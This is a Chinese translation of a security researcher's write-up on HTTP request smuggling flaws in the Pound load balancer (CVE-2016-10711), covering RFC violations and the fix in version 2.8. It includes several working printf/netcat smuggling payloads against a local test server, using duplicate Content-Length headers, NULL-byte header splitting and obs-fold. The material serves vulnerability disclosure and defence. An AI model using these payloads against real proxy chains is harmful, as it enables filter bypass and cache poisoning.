内容简介:原文链接:https://regilero.github.io/security/english/2018/07/03/security_pound_http_smuggling
原文链接:
https://regilero.github.io/security/english/2018/07/03/security_pound_http_smuggling
原文作者:
regilero @regilero(Twitter)
恭喜翻译作者Pinging
价值100元的天猫超市享淘卡一张
欢迎更多优质原创,翻译作者加入
ASRC文章奖励计划
欢迎多多投稿到先知社区
每天一篇优质技术好文
点滴积累促成质的飞跃
今天也要进步一点点呀
Pound?
Pound是一个开源HTTP负载均衡器,通常用作 SSL/TLS
终端(在http后端处理https与证书)。 在过去,这个 工具 被用于为网站添加SSL。
如果访问官方网站,你会看到 pound
被描述为负载均衡器、反向代理、SSL封装器以及删除工具:
HTTP/HTTPS处理程序:Pound会进行验证请求操作并接受格式正确的请求。
项目活动一直被拖延进行,2018年初发布的最后一个CVE引发了各界对某些项目的关注。 Debian
项目删除了软件包,不仅仅是因为其被爆出可用的CVE。新版本的openSSL的兼容性和缺乏项目活动对公司决策起到了关键的作用。
固定版本的Pound
如果我们现在检查此软件包的 Debian
页面状态,我们会发现该软件包已被删除,并且我们无法在任何开发存储库中找到它。这里存在三个安全隐患:版本过时、忽略了安全问题的稳定性并且是jessie(oldstable)其中之一。在我自己的测试过程中,我发现我无法在jessie上安装它,进一步测试后我发现了其内部存在的安全问题。
如果用户使用了 Suse
包,则可以使用安全更新操作。
在官方项目介绍页面上, officiel
稳定版现在是 Pound-2.8
并包含修复程序。 第一个固定版本是2.8a,并且有很长一段时间只有这个实验版本可用。
版本2.8的源代码差异不是很大:(fossies1 | fossies2 | fossies3)
。 有趣的是,这些版本包含了HTTP Smuggling问题,包括功能的删除(动态扩展)和安全语法过滤器等。
CVE-2016-10711
官方描述如下:
在2.8a之前的Apsis Pound允许通过自行设计的消息头进行request smuggling
事实上,这里大多数的问题都是HTTP解析器常见的错误(还有一些罕见的问题,比如NULL字符处理)。在过去的几年里,我在许多项目中报告了类似的问题,所以研究这些攻击是值得的。
正如后面所解释的那样,作为SSl工具的 Pound
并不是smuggling攻击中最关键的部分。 在反向代理缓存或常见HTTP服务器上执行此类攻击对攻击者来说更有价值。 但是整个“HTTPsmuggling攻击”范例均是基于链接的多语法错误,所以每个用户均可以检测出非正常的消息头内容。
1-支持双倍长度内容:
任何带有2个 Content-Length
标头的请求都必须被拒绝。
RFC7230 section 3.3.2
如果收到的消息具有多个Content-Length头,其字段值包含相同的十进制值,或者单个Content-Length头,其字段值包含相同十进制值的列表(例如,“Content-Length” :42,42),表示消息处理器生成重复的Content-Length头字段,此时接收者必须拒绝该消息并设置其为无效或用单个有效Content-Length替换重复的字段值。在确定邮件正文长度之前包含该十进制值的字段。
RFC7230 section 3.3.3
如果在没有Transfer-Encoding的情况下收到消息并且Content-Length头字段具有不同字段值,则消息无效且接收者必须将其处理为错误。 如果这是请求消息,则服务器必须以400(错误请求)状态代码响应,然后关闭连接。
在Pound中,如果你发送如下请求:
Content-Length: 0 Content-Length: 147
返回结果: Size of Body = 0
如果你发送:
Content-Length: 147 Content-Length: 0
返回结果: Size of Body = 147
官方结果会将其处理为错误。 如果HTTP通信中的前一个 actor
包含相同的情况,那么用户将面临一个smuggling攻击隐患。
我们将在下面看到关于HTTP漏洞的一些示例,其目标通常大小不同,一个分析者发现3个请求,另一个认为只有2个。
2)Chunks会根据消息长度进行优先考虑
这里我们再次讨论RFC7230第3.3.3节,但另一点:
如果收到包含 Transfer-Encoding
和 Content-Length
字段的消息,则 Transfer-Encoding
将覆盖整个 Content-Length
。 这样的消息表示了执行请求smuggling响应拆分操作,并且应该作为错误进行处理。
因此我们这里的设置是拒绝该消息(现在大多数服务器都是这种情况)。倘若不进行拒绝操作,则分块传输在任何Content-Length头上都具有优先级。
使用Pound是令第一个消息头具有读取优先级。
我们来看一个例子吧。 在这里,我让 Pound Server
在 127.0.0.1
上侦听 HTTP
端口8080。 (所以没有HTTPS支持,但相信我在HTTPS模式下所有的攻击都是一样的,你甚至可以使用 openssl_client
而不是 netcat
来输出一些 printf
输出)。 在Pound中,任何端口均可以与HTTP服务器(后端)进行通信。
-
我使用printf来反馈HTTP查询结果。由于我想要对所有字符进行完全控制,所以我没有使用curl或wget。
-
我将所有查询链接在一个单独的字符串中,然而我没有等待每个查询之间的响应,这称为
HTTP pipeline
,然而没有pipelining服务器上的支持(这里是Pound)我什么也做不了。 -
我将此字符串(HTTP查询)发送到netcat(命令nc),这是一个非常低级别的命令,它可以控制目标IP和端口的tcp/ip连接。
-
这与使用浏览器或curl发送HTTP查询相同,不过我可以对消息头进行完全控制。
-
攻击者的目标是发送不同数量查询的消息,这是技术目标。 这个功能是绕过过滤器或领缓存失效。像XSS的
alert()
功能,如果你的有效响应数量出现错误,那么这里就不仅仅是功能问题,而是安全隐患。 -
如果在测试环境中进行使用,那么我们应该跟踪Pound在后端发送的请求,例如使用
Wireshark
。 管道的每个请求将单独发送到后端,而不是发送到管道中。
# 2 responses instead of 3 printf 'GET / HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Content-length:56\r\n'\ 'Transfer-Encoding: chunked\r\n'\ 'Dummy:Header\r\n\r\n'\ '0\r\n'\ '\r\n'\ 'GET /tmp HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ 'GET /tests HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ | nc -q3 127.0.0.1 8080
有3个查询能进行有效的解析:
第一个:
GET / HTTP/1.1[CRLF] Host:localhost[CRLF] **Content-length:56[CRLF]** (ignored and usually not send back to the backend) Transfer-Encoding: chunked[CRLF] Dummy:Header[CRLF] [CRLF] 0[CRLF] (end of chunks -> end of message) [CRLF]
第二个:
GET /tmp HTTP/1.1[CRLF] Host:localhost[CRLF] Dummy:Header[CRLF]
第三个:
GET /tests HTTP/1.1[CRLF] Host:localhost[CRLF] Dummy:Header[CRLF]
对于无效的解析操作(这里是Pound),只有2个查询,第一个是:
GET / HTTP/1.1[CRLF] Host:localhost[CRLF] Content-length:56[CRLF] **Transfer-Encoding: chunked[CRLF]** (ignored and removed, hopefully) Dummy:Header[CRLF] [CRLF] 0[CRLF] (start of 56 bytes of body) [CRLF] GET /tmp HTTP/1.1[CRLF] Host:localhost[CRLF] Dummy:Header[CRLF] (end of 56 bytes of body, not parsed)
传输失败
RFC7230 section 3.3.3
如果请求中存在Transfer-Encoding头字段并且分块传输编码不是最终编码,那么我们无法地确定消息体长度; 服务器必须使用400(错误请求)状态代码进行响应,然后关闭连接。
使用 Transfer-Encoding:chunked, zorg
可以使我们没有错误400代码。
标头中为NULL - >concatenation
这是一个原始并且罕见的问题。
像大多数HTTP服务器一样,Pound用 C语言 编写,C字符串以NULL字符(\ 0)结尾。 在HTTP请求中查找NULL字符会出现错误,但有时解析器不会检测到NULL字符,因为解析的行被错误地解释为C字符串。
使用Pound,一旦在消息头中遇到NULL字符,解析器将继续使用下一行的消息头。
# 2 responses instead of 3 (2nd query is wipped out by pound, used as a body) printf 'GET / HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Content-\0dummy: foo\r\n'\ 'length: 56\r\n'\ 'Transfer-Encoding: chunked\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ 'GET /tmp HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ 'GET /tests HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ | nc -q3 127.0.0.1 8080
这是使用 Double Content-length Support
的具有另一个处理方法。 如果代理链中的前一个请求不支持 double Content-Length
,但可以支持NULL字符,则可以使用此方法。
# 2 responses instead of 3 (2nd query is wipped out by pound, used as a body) printf 'GET / HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Content-\0dummy: foo\r\n'\ 'length: 51\r\n'\ 'Content-length: 0\r\n'\ '\r\n'\ 'GET /tmp HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ 'GET /tests HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ | nc -q3 127.0.0.1 8080
# 3 responses instead of 2 (2nd query is unmasked by pound) printf 'GET / HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Transfer-\0Mode: magic\r\n'\ 'Encoding: chunked\r\n'\ 'Content-length: 57\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ 'GET /tmp/ HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ 'GET /tests HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ | nc -q3 127.0.0.1 8080
如果你复现到这里,你可以比较最后两个例子。 在第一个例子中,我们进行了一个恶意的分块传输,在最后一个例子中我们使用 ops-fold
语法。 使用wireshark来比较行为和传输到后端的一些消息语法。
# chunk mode not applied printf 'GET / HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Transfer-\0Mode: magic\r\n'\ 'Encoding: chunked,zorg\r\n'\ 'Content-length: 57\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ 'GET /tmp/ HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ 'GET /tests HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ | nc -q3 127.0.0.1 8080
# chunk mode applied, and '\r\n zorg\r\n' ops-fold transmitted printf 'GET / HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Transfer-\0Mode: magic\r\n'\ 'Encoding: chunked\r\n'\ ' zorg\r\n'\ 'Content-length: 57\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ 'GET /tmp/ HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ 'GET /tests HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ | nc -q3 127.0.0.1 8080
5)传输问题
这种异常的 ops-fold
语法传输可能带来安全隐患,之后它在版本2.8中被删除。 通常,支持ops-fold的反向代理不会进行语法传输(将所有信息都体现在一行数据上)。
以下是与之类似的传输问题(遗憾的是这些漏洞没有被修复):
printf 'GET / HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Transfer-Encoding: chunked\r\n'\ 'Dummy:Header\r\n'\ '\r\n'\ '0000000000000000000000000000042\r\n'\ '\r\n'\ 'GET /tmp/ HTTP/1.1\r\n'\ 'Host:localhost\r\n'\ 'Transfer-Encoding: chunked\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ | nc -q3 127.0.0.1 8080
这并不是无效的查询。 第一个块大小是六进制 42
,所以它是66个字节。 第二个块是块结束标记,最后两行是 0 \ r \ n \ r \ n
。 GET / tmp /
查询不存在,第一个块中没有对它进行解释。
但如果使用wireshark,我们将检测到此消息按原样传输, 0000000000000000000000000000042
未重新更新为 42
或 042
。麻烦的是,对于某些后端(块大小属性截断问题),此语法有时会出现问题,比如将 0000000000000000000000000000042
读取为 00000000000000000
,并错误地将其检测为块结束标记,然后错误的发现 GET / tmp /
查询。
当然这里的安全问题是出现在后端,而不是Pound。 其他一些传输问题已得到修复,例如下列语法:
GET /url?foo=[SOMETHING]HTTP/0.9 HTTP/1.1\r\n or GET /url?foo=[SOMETHING]Host:example.com, HTTP/1.1\r\n
使用 [SOMETHING] = BACKSPACE
或 CR
或 BELL
或 FORM FEED
或 TAB
。
安全性
错误的HTTP语法解析是一个安全隐患,主要问题是HTTP请求网络中的任何危险HTTP请求都会成为攻击源头,之前的请求会成为受害方。
遭受Request拆分的请求会错误地读取无效的内容并从中提取查询结果。在这之前并没有任何请求可以过滤此查询。
这就是为什么RFC对于消息大小的语法解析有最低的要求。
在安装过程中,Pound将成为SSL终端,通常是链中的第一个服务器端请求。
在这个位置,请求拆分攻击很难被利用。也许它可能被用来攻击客户端的转发代理,但它不能用于攻击后端。
_____________________________ _________________________________ | Client Side | | Server Side | Browser ---> Forward proxy ------Internet---> Pound ---> Varnish ---> Nginx NAIL? <================== HAMMER? NAIL? <==== HAMMER?
其他出现在Pound前面的HTTPS负载均衡器会更具危险,因为Pound可以用来向这些代理发送一些额外的响应(WAF?)。
从攻击者的角度来看,最有效的攻击点是传输问题,其中的消息头由Pound传输到后端。 然而在后端我们经常会遇到一些问题,所以向后端发送错误的查询并不是明智之举。
这里存在两个主要的漏洞,双内容长度和不考虑分块优先级,这些问题在后端比在前端更危险。 在我看来,这减少了对这些问题的利用的影响。 然而由于代理没有进行任何拆分操作,就只是转发了这些危险的代码,从而导致了这些恶意行为的产生。
如何使用Pound?
首先你可以使用Pound 2.8, 或带有补丁的2.7.x。
如果用户的发行版上没有固定版本,那么我们可以尝试编译Pound 2.8。 我在jessie上编写了几个Pound的汇编,并且难度不大 (configure/make/make install)。
参考链接
-
Video Defcon HTTP Smuggling
-
Defcon support
-
Video Defcon demos
更
多
精
彩
请猛戳右边二维码
Twitter:AsrcSecurity
公众号ID
阿里安全响应中心
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 安全研究 | 传真机的攻击面研究报告
- 安全研究人员:英伟达GPU存在旁路攻击漏洞
- 研究:伊朗相关黑客利用网络钓鱼攻击活动人士和美国官员
- 研究发现新网络安全漏洞 若遭遇攻击恐发生大停电
- 俄罗斯黑客针对新冠疫苗研究组织的网络攻击活动
- DDoS 研究报告:公有云服务被频繁用于发动 DDoS 攻击
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
XML、JSON 在线转换
在线XML、JSON转换工具
html转js在线工具
html转js在线工具